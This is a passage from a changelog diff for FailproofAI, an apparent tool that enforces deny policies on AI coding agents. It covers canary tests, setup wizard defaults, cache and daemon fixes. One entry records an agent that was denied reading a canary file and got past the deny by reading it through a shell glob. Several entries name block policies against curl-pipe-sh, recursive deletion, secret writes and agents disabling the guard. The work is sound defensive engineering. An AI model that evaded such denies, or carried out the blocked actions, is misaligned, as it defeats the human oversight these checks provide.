wrapped, which made each entry ~350 characters: unreadable in a crontab, and mangled by every chat client it was pasted through on the way to whoever sets the box up. `integration-suite/local/run-job.sh` now holds the invocation and the crontab reads `$HOME/fp-canary/run.sh canary`. It also OWNS ITS OWN LOG, which closes a real trap: cron evaluates a `>>` redirect BEFORE the command runs, so a missing `logs/` directory meant the job silently never started — and the container could not create the directory its own redirect needed. mkdir then redirect, in that order. (#694) +### Docs + +- Bring the audit and dashboard pages to what shipped. The feature landed with `docs/` untouched, so `docs/cli/audit.mdx` still told users to enable scheduling by hand-editing `audit.auto: true` — the exact key whose meaning this release changes — on a page asserting the audit runs "fully offline, no account or network required", while none of the four new flags appeared anywhere in docs and the schedule file was documented at its layout-3 path. It now documents the flags, enumerates what a digest actually sends, carries the redaction caveat rather than implying a guarantee, and explains what an upgrading machine should expect. `docs/dashboard.mdx` documented the deleted reminder route and had no section for the rebuilt settings page at all. (#698) + ### Dependencies - Pin `nanoid` to 3.3.18 through `overrides`, closing GHSA-2v37-7h3g-55p8 (CVSS 8.2 — custom generators can loop indefinitely when size is zero). Not introduced here: the lockfile is untouched by this branch, `main` passed the same scan at 04:57 and this branch failed at 16:21, because the advisory's affected range was published in between. It arrives transitively through `postcss`, which asks for `^3.3.17`, so the pin satisfies it without moving anything else — two lines of lockfile, 657 entries before and after. An `overrides` pin rather than an `osv-scanner.toml` ignore because that file's own rule is to prefer fixing, and there is a fix. (#694) @@ -21,6 +67,7 @@ - Stop the canary reporting an agent's workaround as broken enforcement. antigravity failed probe B three runs straight, and it was never an enforcement bug: recorded live against agy 1.1.11, `view_file` delivers `AbsolutePath` — which `ANTIGRAVITY_TOOL_INPUT_MAP` already carries — and a deny on it IS honoured (`tool call denied with reason`, sentinel never reaching the model). What actually happened is that `canary-read` identifies the marker by SUBSTRING on the command text. Denied on `cat …/CANARY_MARKER.txt`, the agent retried with `cat …/CANARY_MA*`: the same file, read by a string that no longer contains the matched substring, so the shell expanded the glob and the sentinel landed in the transcript — where a leaked sentinel deliberately outranks our own log claiming a deny. Widening the match closed that family (`CANARY*` globs, and the `cat *` case that names nothing at all) and a later run leaked by yet another route, which is the point: the ways to read a file with a shell are not enumerable. So probe B now tells the two situations apart instead of trying to prevent one of them. A second policy, `canary-read-shell`, denies shell file-reads DURING THE READ PROBE ONLY — identified from the per-probe oracle dir (`FAILPROOFAI_HOOK_LOG_FILE` ends `log-read`), the one per-probe signal a policy can read, since the daemon wire protocol carries no env — and its separate name means a deny under it can never satisfy `read_denied` and score a PASS. A leak that arrives WHILE those shell reads are being denied is now INCONCLUSIVE (unproven) rather than FAIL (broken). The exception is deliberately narrow: a leak with NO shell attempt is still a FAIL, because that is exactly what a CLI ignoring our deny looks like (copilot 1.0.70), and blurring the two would blind this suite to the silent-allow it exists to catch. `read_denied`'s grep grew a trailing space for the same reason — without it `canary-read` also matches the `canary-read-shell` line. Navigation (`ls`, `pwd`, `find` without an `-exec` read) stays allowed, since several CLIs locate the file before reading it and denying that would push CLIs that pass today into INCONCLUSIVE for no gain. Verified: claude and codex still PASS both probes with the detector active, and all six verdict combinations were exercised against the real shell functions. (#694) - Make the canary box a one-command install. Setting it up was four commands, and three of them fail SILENTLY for a day — the wrong property for the thing whose whole job is noticing silent failures. A work dir mounted at a different path inside the container than out leaves the sibling-container `-v` sources resolving against the host to nothing; a `CANARY_REF` left at the shipped `origin/failproofaid` points the box at a branch that merged in #632, so it would test a frozen tree forever and never say so; and a filled-in env file with no Slack webhook produces a run that works perfectly and reports nowhere, which is worse than no canary because it looks like coverage. `integration-suite/local/install.sh` refuses each at install time, in front of a person, rather than at 06:17 tomorrow in front of nobody — the webhook is required for that reason, not because the run needs it. It builds the runner image straight from the git URL (Docker takes `#:` as a build context) so the box never clones, installs the env file at mode 600, and REWRITES rather than appends its cron line — it carries a `# failproofai-canary` marker and strips any previous line first, so re-running upgrades the schedule instead of scheduling a second job. No credentials template ships in the repo at all — a file that looks like a credentials file is one `git add -A` away from being committed by whoever fills it in — so running the installer with no arguments prints the variable list instead, generated from the same `REQUIRED_` lists it enforces and therefore unable to drift the way a checked-in example silently does. `--dry-run` distinguishes what it CHECKED (the preflight really runs; it keeps its ✓) from what it would CHANGE, because a script reporting success for work it did not do is the same defect class this canary exists to find. (#686) + - Stop the nightly doc translation re-translating everything, most days. Runs cost **4 minutes** on Aug 3-5 and **118-136 minutes** every day from Aug 6-11 — ~750 wasted runner-minutes and six full-corpus passes through the LLM gateway in six days. Three causes compound, and none of them was the translation cache's own logic, which is sound. **First, the cache was being evicted between runs.** `ci.yml` cached `target/` under a combined `actions/cache@v6`, so every PR ref that missed the exact key wrote its own 1.5-2.3 GiB copy; five were live at once (#677, #679, #680, #681 and main), putting the repo at **11.56 GiB against GitHub's 10 GiB cap** and so permanently in LRU eviction. What that evicted was the 13 KB translation cache — touched once every 24 hours, therefore always the least-recently-used thing in the store. The restore/save split is the one `build-daemon.yml:117-144` already uses, and its comment there already gives the second reason to want it. **Second, the cache was saved once, at the end of a serial pipeline.** The only save sat in `consolidate`, downstream of both the matrix gate and `mintlify validate`, so a single page failing in a single language discarded all fourteen languages' work: Aug 6 lost ~110 completed minutes to one `ko` page. Each language now saves its own fragment in the job that produced it, immediately after the step that proved it good; the merged entry stays as a cross-language fallback. **Third, a cache HIT never checked that the translated file exists.** `isCached` is a pure function of the English source hash — it records that a page was translated once, not that it is on disk — and translations land on an auto-translate PR branch. With #682 unmerged, `main` lacked `docs//cli/{update,migrate}.mdx` while the cache reported them done, so they were never regenerated, `--update-nav` (which reads the *English* tree) emitted nav entries pointing at them, and `mintlify validate` failed on 28 missing files. That is non-convergent: **a cache hit fails validation and only a full 120-minute miss goes green**, which is exactly what Aug 12 did. Statting the output makes the cache self-healing against any "translated once, never landed" gap. Also: a cache miss is now a visible `::warning` rather than silent — the old restore key always evaluated to the bare literal `translation-cache-`, since the file is gitignored and `hashFiles` returns `""` for an absent path, so every restore that ever worked was a prefix fallback and a total miss looked identical to a hit. Artifact retention goes 1 → 7 days so a run that dies mid-pipeline leaves a manual recovery path. (#685) ## 1.0.0 — 2026-08-12 @@ -46,18 +93,27 @@ never "blocked". ### Features - Cut setup's prose by two thirds. The daemon step spent three lines explaining the warm-worker architecture to somebody about to type a password; the cloud step spent five on what connecting sends. Eleven lines became three — say what is happening and what it costs, drop the mechanism. The cloud screen keeps the one clause that is not explanation ("Sessions include prompts, file contents and command output"), because it is a consent screen and the only place that disclosure is ever made: `describeOutcome` prints "hook activity" afterwards and never mentions transcripts, so compressing it to "telemetry" would be brevity that is really vagueness. Its option hint now says what the cloud GIVES — central monitoring and policy deployment, which is what the key's two scopes buy — rather than "see what your agents did", which the local dashboard already shows and which made connecting look redundant. The same screen names the product rather than the artefact — "New to FailproofAI? Create a key at befailproof.ai/get-started" — and points at get-started rather than the dashboard host, since somebody reading that line has no key and usually no org either, and "No key?" reads as an error state to a person who has simply not signed up yet. (#683) + - Give `failproofai config` a Recommended path, so the common install is two questions instead of five. Setup opened by asking scope, policy bundles, harnesses and cloud of somebody who has just installed the tool and does not yet know what any of those mean — every one of which has a defensible default, so asking all four up front made the person least able to answer do the most work. Recommended is not a shortcut past those decisions, it is a decision taken on their behalf: global scope (a project install guards the one directory the command was run from and silently leaves every other repo unguarded), the CLIs actually detected on the machine, and a named 15-policy set. Customize is the previous wizard unchanged — nothing is removed and nothing is hidden, it stops being the only way through. The cloud question is still asked on both paths. (#683) + - Name what "Recommended" means, in one list with the reasoning attached. `RECOMMENDED_POLICIES` in `policy-presets.ts` is written out rather than derived from `defaultEnabled`, because those answer different questions — `defaultEnabled` seeds a checklist of 40, this answers "what should guard a machine whose owner did not want to choose" — and deriving one from the other would silently reshape the recommended set every time somebody flipped a flag on an unrelated policy. It is the 12 that were already default-on plus **three that were off and should not have been**: `block-rm-rf`, `block-force-push` and `block-secrets-write`. A recommended setup that omits catastrophic deletion and force-push is not recommendable, and both are precisely scoped — `block-rm-rf` only fires at depth ≤2 under `/` or a home directory, exempts `/tmp`, and treats an unresolved `$VAR` target as catastrophic, so `rm -rf node_modules` is untouched; `block-force-push` blocks `--force` and `-f` while explicitly allowing `--force-with-lease` and `--force-if-includes`. Deliberately excluded, each for a stated reason: the `require-*-before-stop` workflow gates (they refuse to let the agent finish until CI is green, and per `enforcement-capability.ts` do not fire at all on hermes or goose), the infra blockers (they break the day job of anyone who runs kubectl), `block-read-outside-cwd` (agents legitimately read outside the repo) and the ten `warn-*` policies (a warning nobody reads is worse than one that was never shown). (#683) + - Give the review screen a taste of the policy set rather than only a count. `Policies : 15 enabled` is a number the user cannot check and, on the recommended path, did not choose. Two names and a count of the rest now sit under it — `block-curl-pipe-sh, block-env-files +13` — which is the same shape `describeSelection` already uses for bundles, and enough to say what KIND of thing these are without turning a four-line review into a thirteen-line one; a screen nobody reads to the bottom conveys less than a short one. The whole review body is rendered dim by the prompt, so it reads as a subtitle to the count rather than competing with it, and it scales unchanged to "Everything" (`block-aws-cli, block-az-cli +38`). Degrades by dropping a name rather than overflowing: `writeLines` truncates with a hard cut and no ellipsis, so an over-long line ends mid-slug and reads as a policy name that does not exist. (#683) + - Union rather than replace when Recommended writes. `installHooks` runs with `replace: true`, so writing the bare 15 would switch OFF anything the user had enabled by hand — turning "give me the sensible defaults" into a reduction in protection, the one direction this must never move. On a fresh machine the union is exactly the 15. The `customPoliciesEnabled` flag is left alone on this path for the same reason: the customize expression evaluates to `false` when no bundle is ticked, and no bundle is ever ticked here, so writing it would disable every `.failproofai/policies` file on disk as a side effect of choosing the default setup. (#683) ### Fixes - Give a Hermes session one agent id for its whole life. A single session was arriving under two — confirmed on a customer org, `20260812_133702_31ca19f0` under both `hermes-kratos` and `hermes-telegram`, and a cron session under both `hermes-cron` and the bare fallback, from ONE collector with the other producer's rows excluded. The id was derived from the session's own `cwd` and `source` columns and re-read on every poll, and Hermes rewrites those throughout a run (`hermes_state.py` carries ~20 `UPDATE sessions SET …`), so a session split the moment one changed between two polls. The file documented that as a safety property — "session columns are read fresh on every poll" — while the `pending` map directly below states the opposite rule correctly for tool names; reading fresh is right for a name and wrong for an identity. Identity now comes from which DATABASE the session is in: the root keeps the bare `hermes` every deployment already ships under, and `profiles//state.db` becomes `hermes-`. A path cannot change mid-poll, so this is stable by construction, it keeps the poll function pure (the format contract requires that or re-read rows dedup into duplicates), and it matches the standalone collector's `agent_id_for` so a machine migrating off it is not renamed. Nothing is lost: `hermes_source` and `hermes_cwd` were already on every event, so transport and project stay answerable as filters over one agent's sessions. The regression test polls twice with `cwd` rewritten in between — every existing test polled once, which is why a shipping bug sat behind a green suite. (#683) + - Close a hole in the bundle vocabulary that Recommended had to route around. Four `defaultEnabled` policies — `block-self-pause`, `block-sudo`, `block-curl-pipe-sh` and `block-failproofai-commands` — are in the `Dangerous Commands` category, which no preset covers, and only `block-secrets-write` is rescued from it by the secrets preset's `extra`. So 8 of the 12 default-on policies are reachable by ticking bundles and 4 are not, and since the wizard writes with `replace: true`, a first run that picks bundles produces a machine WITHOUT the two policies that stop the agent disabling failproofai itself. `RECOMMENDED_POLICIES` names all 15 explicitly rather than composing bundles, and `defaultsMissingFromRecommended()` plus a test assert that every default-on policy stays in it — so the day a new one is added, the recommended set cannot silently fall behind the checklist. The bundles themselves still have the gap; closing it needs a fifth bundle or a decision that the self-protection policies are not optional. (#683) + - Make `mode: "oss"` actually stop the daemon talking to the cloud. `config --disconnect` writes that flag and its own comment states the rule: "every cloud code path keys off this flag rather than off 'is a token lying around' precisely so that a disconnected machine is provably silent instead of silent-by-happenstance." That was true of the TypeScript CLI and false of the **daemon**, which is the process that holds the socket and had never read the flag — so a machine put back on OSS whose credential file outlived the decision to leave went on polling and shipping while `--status` reported it disconnected: a restored home, a copied config, a reinstall, a partial cleanup, or simply the layout-1 `cloud.json` fallback. The veto is checked inside `from_file` rather than at the call site, because that function has three exits and a veto guarding only some of them is not a veto. It reads `mode.kind` — `fp-config.ts` persists `mode: { kind }`, an object, and reading it as a string is why an earlier cut of this never fired at all; the tests missed it because their fixtures carried the same wrong assumption as the code, which is worse than no test since they also reported the case as covered. ONLY an explicit `"oss"` vetoes: `mode` postdates the enrolments already in the field, so reading absent or malformed as "oss" would silently disconnect every machine enrolled by an older CLI. `FAILPROOFAI_CLOUD_URL` still wins, since the env path exists so CI and containers work with no files at all. (#683) + - Stop reporting a connection the machine no longer has. Everything `config --status` printed about the cloud connection was read from the credential file, which records what was true at `--connect` time and is never revisited — so a key that was later revoked, expired (`api_key_expiry` exists server-side now), or whose org was disabled left that file byte-for-byte correct while nothing arrived. That is the failure recorded in `crates/failproofaid/src/main.rs`: "a key revoked at 13:05:37 and replaced 37 seconds later was still producing 401s twenty minutes on, with 26 parked batches and a CLI saying `connected`. The only symptom was data that never arrived." The detection was never missing — the uploader writes its verdict into the parked batch's **filename** (`.a.c.jsonl`, a rename rather than a sidecar so the record cannot desynchronise from the batch it describes), and `is_auto_retryable()` already excludes a definitively-refused batch from the retry pass because it "will fail identically until the cause is fixed". Nothing had ever read that directory. `--status` now reports from it, and the line replaces the cheerful one rather than being appended after it, because the collector's record of what the server actually said is the only thing on that screen describing **now**. Deliberately silent on batches parked without a client status: those exhausted server-error retries, the retry pass picks them up again, and reporting them would cry wolf over a blip the daemon is already handling. (#683) + - Say it once a session, without anyone having to ask. `--status` only speaks when someone runs it, and the whole failure mode is that nobody knows there is anything to ask about — so the same verdict is now emitted at `SessionStart`, the one point failproofai is already invoked on every CLI, exactly once per session, with a person watching. Costs one directory read per session; needs no flag, no new daemon channel and no user action. It cannot affect the outcome of the hook: the read swallows its own errors, the verdict goes to stderr (`SessionStart` is `observe` on every integration, so a stderr write there cannot block a session), and the exit code is untouched. 401 and 403 are grouped as "credential" — a rejected key and a key without `events:add` have different causes, the same user-visible outcome, and the same fix — and only that group is told to re-run `--connect`. (#683) + - Make a `PostToolUse` deny actually enforce on codex and copilot. Both read a **top-level** `{decision:"block", reason}` at that event and neither reads the `hookSpecificOutput.additionalContext` shape we emitted, so every PostToolUse deny on those two CLIs was evaluated, logged, counted as enforcement in the dashboard — and dropped on the floor. That is the whole `sanitize-*` family plus any custom policy matching `PostToolUse`. Verified rather than inferred, because the rows asserting it were stale in both directions: on codex an A/B live probe at **0.147.0** (identical prompt and hook, only the response shape differing) shows `{decision:"block"}` printing `hook: PostToolUse Blocked` and routing the reason through `codex_core::tools::router` so that it **replaces the tool result the model reads** — the probe's real stdout never reached the model — while the shape we shipped printed `hook: PostToolUse Completed` and the model read that stdout verbatim; on copilot both `postToolUse` call sites in the shipped **1.0.78** bundle gate on `vK = t => t?.decision === "block" && typeof t.reason === "string"`, which fails closed on a missing or non-string reason, so the reason is always sent as a string. This is result-replacement, not prevention — the tool has already run at PostToolUse and its side effect stands — which is exactly the semantic an output-scrubbing policy needs to keep a secret out of the model's context, and is why copilot's "Can block? No" in vendor docs is true of the side effect but not of the result the model reads. Other CLIs are untouched and keep `additionalContext`; a test pins that boundary, since widening the new shape to claude would silently break the one consumer that does read the nested form. (#683) ### Docs @@ -75,7 +131,9 @@ never "blocked". ### Fixes - Reuse the machine id the collector already wrote instead of minting a second one. `resolveMachineId` looked for an existing id in the cloud credential only, but `connectToCloud` writes it to **two** files under two independent conditions — `credentials.json`'s cloud table when `policies:pull` verifies, and `config.json`'s collector block when `events:add` does — and a key carrying one grant and not the other is a first-class state, since the dashboard offers `policies` and `collector` as separate key presets. So a telemetry-only first connect stamped `collector.machine_id = A` on every event and wrote no cloud credential; a later policies-capable connect found no cloud credential, minted B, and overwrote the collector block with it. The fleet list is a union of enrolment rows and event-derived ids, so one host showed as **two machines**: A reporting with no label and nothing deployed, B enrolled and empty — with A's history stranded and A counting toward `unguarded` on the policy page, the exact false reading that page exists to surface. The value is returned verbatim rather than trimmed, because the daemon stamps it on events verbatim too, and normalising here would hand the cloud a different id than the events carry — reintroducing the split from the other side. (#663) + - Stop two test suites writing into the real `~/.failproofai`. `worker-server.test.ts` and `fail-closed-force-decision.test.ts` drive the real hook path, which calls `persistHookActivity()`, and neither set `FAILPROOFAI_HOME` — so every run appended test decisions to the **developer's own** decision log and re-counted their `stats.json`. Found because a user asked why their hook activity had grown after an upgrade when they had triggered no hooks: the records were visible in their log with `cwd` values like `/tmp/fpai-worker-server-test-…`, and 43 of the 48 records in it were test artefacts rather than their own activity. Both suites now mkdtemp a home and clear it afterwards, and running them leaves the real log byte-for-byte unchanged. No product code was involved — `persistHookActivity` has exactly one caller and it is the genuine hook path — so this was never something a user's own machine did to itself. (#663) + - Name the policy bundles in the setup summary instead of counting the policies inside them. The completion line read `Setup complete — 9 policies · 12 harnesses`, and "9 policies" is a number the user cannot check and did not choose — they ticked two **named** bundles two screens earlier, so the line that confirms their setup now says which: `Setup complete — Secrets & data, Git safety · 12 harnesses · custom, daemon`. Bounded against the same 80-column budget the existing summary tests already assert (80 minus a 3-column gutter), because `writeLines` truncates with a hard cut and no ellipsis — an over-long line does not lose its tail, it reads as broken output. All four labels joined is 57 characters and runs the line past 80 with the harness and extras clauses, so naming degrades to the count when it will not fit, rather than being cut. Two names is also the common case, so most runs see every name. `Everything` carries its size (`Everything (47 policies)`), since the word alone does not say how much that is; a machine whose policies were all enabled one at a time with `policies add` has no bundle to name and keeps the count. (#663) ## 1.0.0-beta.19 — 2026-08-10 @@ -83,14 +141,23 @@ never "blocked". ### Fixes - Ask before removing the daemon service on a plain `failproofai uninstall`, and prompt for the password instead of printing commands. Uninstall always tore the service down, and it did so through `uninstallDaemonService()`, which uses `sudo -n` and never prompts — so without a cached sudo credential the removal failed and the command printed a unit file to delete by hand. That is the same defect `failproofai update` had: a non-interactive elevation rule that exists for the **wizard**, whose reason is that a password prompt fired from under a full-screen TUI is unreadable. Uninstall is plain line output with a person in front of it and does not inherit that constraint. It now calls `primeElevation()` **before** attempting the removal, so the three privileged operations — install, refresh, remove — all ask. Separately, a plain uninstall now **asks** whether the service should go at all: the hooks are gone either way so nothing is being enforced, and someone clearing hooks before a reinstall has no reason to tear down a system service and re-type their password. A missing answer keeps it — declining to remove a service is recoverable, removing one nobody asked about is not. `--purge` does **not** ask and removes it unconditionally, because purge deletes `~/.failproofai`, which is where the daemon binary lives: leaving an enabled unit whose `ExecStart` has just been deleted crash-loops the service at every boot, so "keep the daemon" is not an option purge can offer. `--yes` also still removes it, because the flag means yes to the plan and scripted uninstalls rely on it — making it keep the daemon would silently start leaving a service behind on every automated run. (#663) + - Rebuild the decision log's totals after carrying it across a layout upgrade. `hook-activity/stats.json` is **incremental** — one entry folded in per append, never rescanned — so it is the only part of the log that cannot survive being lost. The migration dropped it and `current.count` as derived state on the stated grounds that "the store rebuilds them", and nothing did: there was no rebuild anywhere in the store, so `readStoredStats()` fell through its catch to zeroes and began accumulating again from the next event. A user upgrading from a pre-daemon home therefore kept **every record and lost every total** — the dashboard listed their whole history while reporting 0 events, 0 denies and no top policy. Reported from live testing and reproduced on a seeded home. Dropping the file is still right (two incremental counters cannot be merged without inventing a number) but only if something recomputes it, so `rebuildHookActivityStats()` now scans every page after the carry. Exact rather than approximate, because pages are never pruned — there is no retention anywhere in the store — so the files on disk are the whole history. The fold is shared with the append path so a rebuild and an append cannot count differently and drift apart unnoticed. (#663) + - Carry a legacy root `spool/` and `failed/` instead of deleting them. Both were on the retired list with **no carry and no backup**, while `HOME_CLASSES` classes the layout-3 equivalents `undelivered` with the note "never deleted" — so the two halves of the same module contradicted each other and the delete won. Worth being precise: no published version writes a root spool (`fpai-collect` used `home.join("spool")` only on the unmerged daemon branch; the commit that reached `main` already wrote `state/spool`, and the 0.0.x line has no spool at all — checked against the published 0.0.10, 0.0.14, 0.0.15 and 1.0.0-beta.0 tarballs), so on every real machine this finds nothing and costs one `existsSync`. It is closed anyway because "listed for deletion, with no carry and no backup" is a trap whether or not anything falls into it today, and an undelivered event is not regenerable. Carried into the live spool so the events actually ship on the flush that follows, which is safe for an unknown format because the uploader quarantines a batch it cannot send into `failed/` rather than failing on it. (#663) + - Stop `failproofai config` discarding the policy selection it never showed you. `buildPresetChoices` set `checked` on exactly one row — the Custom checkbox — so all eight bundle boxes rendered unticked on every run, while the wizard calls `installHooks` with `replace: true`, which makes the ticked set the WHOLE enabled set at that scope. `replace` is the right rule (unticking a policy has to remove it) and it was paired with checkboxes that did not reflect current state, which turns a correct rule into a destructive one: re-running setup showed a blank slate and then made that blank slate authoritative, so a client's enabled policies were gone with nothing on screen to say it had happened. The comment on the Custom row has always described the intended behaviour — "shows the current state rather than resetting it every run" — and it was implemented for that one row. Bundles are now ticked when everything they turn on is already on (all, not any — "any" would tick every bundle sharing one policy and confirming would enable all of them), and anything enabled that no ticked bundle accounts for gets a locked "N enabled individually" row and is unioned back into the write, so `replace` cannot drop a policy added with `policies add`. Seeded from the scope the run will WRITE to, not the merged view, or a bundle enabled at project scope would be copied into user scope as a side effect of opening the wizard. One pure `splitEnabled()` defines the split, so the row the user sees and the set that gets written cannot disagree. (#663) + - Repoint registered custom-policy paths at where the migration put the files. `migrateConventionPolicies()` moves layout 2's `policies/custom-policies/*` up into `policies/`, and nothing rewrote the paths the user had REGISTERED — so every explicit `customPoliciesPaths` entry still named the directory the migration had just deleted. Reproduced on a seeded layout-2 home: the file was correctly at `policies/acme.mjs` while the config still said `policies/custom-policies/acme.mjs`, which resolved to nothing. Quiet because layout 3 collapses `customPoliciesDir()` onto `policiesDir()`, so the file is still discovered BY CONVENTION and usually keeps firing — not harmless, though: a convention-loaded policy gets a different id from an explicitly-pathed one, and `disabledCustomPolicies` records a disable against that id, so a policy the user had switched off can come back. Matched with `relative()` rather than a string prefix, or a sibling `custom-policies-old/` the migration never touched would be rewritten too. (#663) + - Stop telling macOS users to install a service they already have. A LaunchDaemon lives in launchd's system domain, so `daemonServiceStatus()` needs elevation to read it and returns `"unknown"` whenever `sudo -n` finds no cached credential — the normal case for a read-only status command. `daemonWarning()` had no branch for it, so it fell through to the socket check and announced that "a daemon is running outside the service manager", which is flatly false for a correctly installed service, and pointed at `failproofai config` to fix it. Linux never showed it because `systemctl is-active` needs no privileges, and that asymmetry was the whole of the bug. `"unknown"` now has its own branch, ahead of the socket check, saying what is actually true — whether a daemon is answering, and that its service state needs elevation to read — with the command to check by hand. (#663) + - Make a machine's name readable, and renameable without re-enrolling. Every status line printed the full machine id (`Mac.localdomain (dde01f39-afba-40eb-bf1a-815d9f17ac2d)`), which is 36 characters of noise for the one reader who cannot use them and made the id look like the machine's name. The id still has to appear — labels default to the hostname and are free to collide, so the label alone cannot identify a machine — so it is now an eight-character prefix, with `--verbose` for the full value. Separately, `--machine-label` was accepted only alongside `--connect`, so changing a display name meant re-running enrolment with the url and token again; used alone it is now a rename. The label is stored BEFORE it is pushed and the command still exits 0 when the server is unreachable — the rename did happen locally and the daemon sends it on its next poll, so refusing would fail exactly when someone is labelling a machine they are debugging. (#663) + - Carry a decision-log page by copy when the rename cannot work, instead of only on `EXDEV`. The fallback handled exactly one error code, on the reasoning that a cross-filesystem rename is the only failure a copy can rescue — and that is wrong: a rename needs write permission on the **source directory**, while a copy needs only read on the file and write on the destination, so `EACCES`, `EPERM` and `EROFS` on `cache/` all fail the rename and all succeed as a copy. Those pages were dropped from the carry with no attempt made. The comment excused it as leaving the page "still there", which is true of the file and false of its fate: `resetHome` stamps `VERSION` at the end regardless, `detectLayout()` then reports `current`, and the carry never runs again — so the page is not left for a retry, it is abandoned in the old layout where nothing reads it. The copy leaves the original behind, which is the right trade in the only direction that matters: the store reads pages under the current layout, so a duplicate there would double-count while one left behind is inert. (#663) + - Back up layout 2's policy selection from the nested path it actually lives at. The backup's claim to protect a policy selection rested on `legacy.policyConfig()` — the layout-1 **root** path, which layout 3 reuses and the migration therefore leaves alone, so on a layout-2 home it is usually absent. Layout 2 keeps the selection two levels down under `legacy.localPoliciesDir()`, and that directory **is** deleted; `readCarriedPolicyConfig()` was even narrowed to it for exactly that reason. So the one leg where the selection is destroyed was the one leg with no copy of it, while `migrate --dry-run` reported a backup either way — the same shape as the `cloud.json` gap above, found the same way. The nested path is saved under an explicit distinct name rather than its basename, which collides with the root copy's: flat, the two would overwrite each other on backup, and on restore the single survivor would be written back to **both** paths, putting layout 2's nested selection over layout 3's live config. Mirrored subdirectories would have been the tidier scheme and would have renamed data an older build already wrote — `backup-layout/` directories from beta.17 and beta.18 are already on real machines — which is the mistake four other fixes in this release exist to correct. (#663) + - Reserve the label a Hermes default task actually owns. beta.18's new guard seeded its reserved set with `sanitize_label(profile_dir_name(db))` — normalising a name that had already been normalised by a **different** function. The two disagree: `profile_dir_name()` maps each non-alphanumeric one-for-one and neither lowercases, collapses runs, nor trims, while `sanitize_label()` does all three. So the guard reserved a string no task owns. The root Hermes database lives in `~/.hermes`, so its task's cursor directory is `cursors/hermes/-hermes` and its health key `hermes:-hermes`; sanitising gave `hermes`. Because the root database is always index 0 this was wrong on **every** machine: `harness add-path hermes hermes=` was refused for colliding with nothing, while the name actually held stayed unguarded. An over-refusal rather than a hole — an extra's label cannot produce a leading dash, so nothing colliding got through — but it guarded the wrong name. Reserved names now go in **verbatim**, which is the correct pair to compare and is self-correcting for names an extra can never produce. Two things found alongside it: a reserved collision reused the duplicate-extras message and blamed "another extra path" that does not exist, and the docstring justified the separate entry point with "twelve call sites" when `resolve()` has **zero** production callers. (#663) ## 1.0.0-beta.18 — 2026-08-10 @@ -98,13 +165,21 @@ never "blocked". ### Fixes - Back up layout 1's `cloud.json` and `ingest.json` before migrating them. Both are on the retired list, so the migration deletes them, and nothing regenerates a cloud token — they are the definition of what `migrations/backup-layout/` is for. They were absent from that list while the carry that reads them was added, so on the layout-1 leg (the upgrade from the published `latest`) the token was removed with no copy kept: the backup was most incomplete exactly where it mattered most. Found by a functional matrix run over both legs, not by review. (#663) + - Refuse a Hermes extra path whose label collides with one of Hermes's own default profiles. Extra paths were validated against the default **paths** a source already watches, which cannot catch an entry whose **label** collides with one a default task derived — and Hermes is the only source whose default labels are derived, one per profile database. So `failproofai harness add-path hermes prod=/mnt/other/state.db` on a machine with a `prod` profile was accepted, and the two SQLite pollers then shared the cursor directory `cursors/hermes/prod` and the health key `hermes:prod`: the cursor store rewrites its map atomically, so each clobbered the other's watermark and both re-read from zero after every restart, while one health record overwrote the other so `root_present` alternated — destroying the "absent root versus merely idle" distinction that record exists to draw. That is the exact failure the per-profile directories were introduced to prevent, reached through a collision nothing checked. A new `resolve_reserving()` seeds the seen-label set with the labels the default tasks claimed, so a collision is caught by the same rule as a collision between two extras; `resolve()` keeps its behaviour and forwards. (#663) + - Make `failproofai harness add-path`'s duplicate checks agree with the rule they exist to pre-empt, and stop it claiming capture it cannot verify. Those checks exist because the daemon resolves entries at startup and silently **drops** a colliding one, logging only server-side — so the CLI would print success for a path that is never captured. They compared raw strings while the daemon normalises, so three shapes slipped through: a label differing only in case or punctuation (`"Team Share"` vs `team-share`, since the daemon lowercases and collapses non-alphanumerics), the same path with a trailing slash, and two **unlabelled** paths whose folder name derives one label — for which the label check did not run at all. In every case both entries were written, `harness list` showed both, and only one was captured. The comparisons now mirror `sanitize_label()`, `clean()` and `derive_label()`; the stored string stays exactly what the user typed, so this is a normalised **check** and not the second parser the module deliberately avoids. Separately, an entry overlapping the harness's own default capture root is rejected by the daemon and this side does not know those roots — teaching it all thirteen would be that second parser — so the success message now says what was written and where the real answer is (`harness list`) rather than promising capture. (#663) + - Stop `failproofai config` silently re-enabling a CLI you deselected. The harness step's "restore the prior selection after ←" logic was unreachable: `priorClis` read `clisSel`, which is the loop's own condition (`while (clisSel === null)`), so it is null on every entry into the body by definition and is assigned only on the line that ends the loop. So deselecting a CLI, pressing ← to change an earlier answer, and coming back redrew the **detected defaults** — and confirming then installed hooks into the CLI the user had explicitly turned off, with the code's own comment stating the opposite intent. The prior selection is now carried on state that survives the loop, filled from a new optional `onBack` callback on `multiSelect`: `BACK` is a symbol and cannot carry a value, and the selection lives in a local array rather than on the caller's choice objects, so a caller previously had no way to learn what had been ticked. The callback is additive and optional, so no other prompt's contract changes. Worth noting the original defeated the compiler's correct objection with a cast (`clisSel as string[] | null`) — which is why the dead code type-checked; the replacement reads a property and needs no suppression. (#663) + - Keep the cloud attribution on hook-activity rows written before the rename. `HookRow`'s `cloudRevision`→`cloudVersion` and `cloudGeneration`→`cloudDeployment` moves used serde `rename` with no `alias`, and these pages are written by the **daemon** — so a machine that was cloud-connected before the rename has real rows on disk naming the old keys. Nothing validates the shape (no `deny_unknown_fields` in Rust, and the TypeScript reader `JSON.parse`s a line and casts it), so those rows did not error: they carried keys nothing read, and every pre-upgrade cloud-decided decision rendered as unattributed — which is the one question these fields were added to answer. Aliases added on the Rust side, and the TS reader now maps the old keys on read, one-directionally and without deleting them. Same lesson as the two fixes above: renaming a symbol is safe, renaming the name of data an older build already wrote is not. (#663) + - Actually remove layout 2's per-deployment artifact tree, under the name layout 2 wrote. The cleanup checked for a directory called `deployments`, but every pre-rename daemon wrote `cloud-policies/generations//` — the generation→deployment sweep renamed a string literal that names an **on-disk artifact written by an older build**, which is data rather than a symbol, exactly like the `generation`/`revision` field names that needed aliases. So `exists()` was false on every real machine, the cleanup never ran, and the full copy of every policy set the machine had ever held was kept forever — the precise outcome the adjacent comment says it exists to prevent, and the comment itself repeated the mistake in prose. Both names are now checked, so a daemon built between the rename and the flattening is covered too. (#663) + - Ask for the sudo password in `failproofai update` when there is a terminal to ask in. Writing the service unit needs root and the privileged helper uses `sudo -n`, which never prompts — a rule that exists for the **wizard**, whose reason is that a password prompt fired from underneath a full-screen TUI is unreadable. `update` is plain line output and does not inherit that constraint, but it never called `primeElevation()`, the helper the wizard already uses for exactly this at exactly this point. So the command that exists for upgrading a daemon machine failed on one with `sudo credentials were not 